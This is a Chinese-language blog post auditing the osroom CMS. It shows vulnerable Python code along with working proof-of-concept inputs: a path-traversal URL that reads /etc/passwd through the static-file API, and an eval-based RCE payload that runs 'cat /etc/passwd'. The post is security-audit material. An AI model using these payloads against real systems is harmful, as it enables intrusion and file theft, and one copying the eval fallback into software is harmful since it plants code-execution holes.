一个cms框架osroom的审计
# osroom
先上链接。 gitee (opens new window)
这个玩意到处都是洞.jpg
# 部署
# 任意文件读/写
apps\modules\theme_setting\process\static_file.py
1
读取静态文件模板的时候,直接使用了请求的参数进行拼接访问,导致可以任意读取文件
poc
http://localhost:5000/api/admin/static/file?file_path=pages/account/settings/../../../../../../../../etc&filename=passwd&theme_name=osr-theme-w
1
def get_static_file_content():
"""
获取静态文件内容, 如html文件
:return:
"""
filename = request.argget.all('filename', "index").strip("/")
file_path = request.argget.all('file_path', "").strip("/")
theme_name = request.argget.all("theme_name")
s, r = arg_verify([(gettext("theme name"), theme_name)], required=True)
if not s:
return r
# curren_path = os.path.abspath(os.path.dirname(__file__))
# PROJECT_PATH = os.path.abspath("{}/../..".format(curren_path))
# APPS_PATH = os.path.abspath("{}/apps".format(PROJECT_PATH))
# THEME_TEMPLATE_FOLDER = "{}/themes".format(APPS_PATH)
path = os.path.join(
THEME_TEMPLATE_FOLDER, theme_name)
# path是{APPS_PATH}/themes
# {APPS_PATH}/themes / pages/account/settings/../../../../../../../../etc / passwd
file = "{}/{}/{}".format(path, file_path, filename)
# 最后拼接而成的file就变成了/etc/passwd,造成了任意文件读取
if not os.path.exists(file) or THEME_TEMPLATE_FOLDER not in file:
data = {"msg": gettext("File not found,'{}'").format(file),
"msg_type": "w", "custom_status": 404}
else:
with open(file) as wf:
content = wf.read()
data = {
"content": content,
"file_relative_path": file_path.replace(
path,
"").strip("/")}
return data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
同理,下方还有 edit_static_file()
方法,同样有这个问题。
# RCE
老生常谈 先直接搜索个 eval
找到一个可以利用的问题文件:
apps\utils\format\obj_format.py
1
在方法 json_to_pyseq(tjson)
中,尝试使用 json.loads
进行加载json,失败就是用 eval
作者你好勇哦
def json_to_pyseq(tjson):
"""
json to python sequencer
:param json:
:return:
"""
if tjson in [None, "None"]:
return None
elif not isinstance(tjson, (list, dict, tuple)) and tjson != "":
if isinstance(tjson, (str, bytes)) and tjson[0] not in ["{", "[", "("]:
return tjson
elif isinstance(tjson, (int, float)):
return tjson
try:
tjson = json.loads(tjson)
except BaseException:
tjson = eval(tjson)
else:
if isinstance(tjson, str):
tjson = eval(tjson)
return tjson
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
不看不知道 一看吓一跳,我滴妈 这框架别用了(bushi
直接进行一个RCE
{rua:__import__('os').system('cat /etc/passwd')}
# 总结
一个很简单的框架代码审计,包含了一些新手常见的错,作者貌似已经放弃这框架了,上一个commit还是去年,祝用这个框架的人安好
上次更新: 2021/07/22, 19:41:50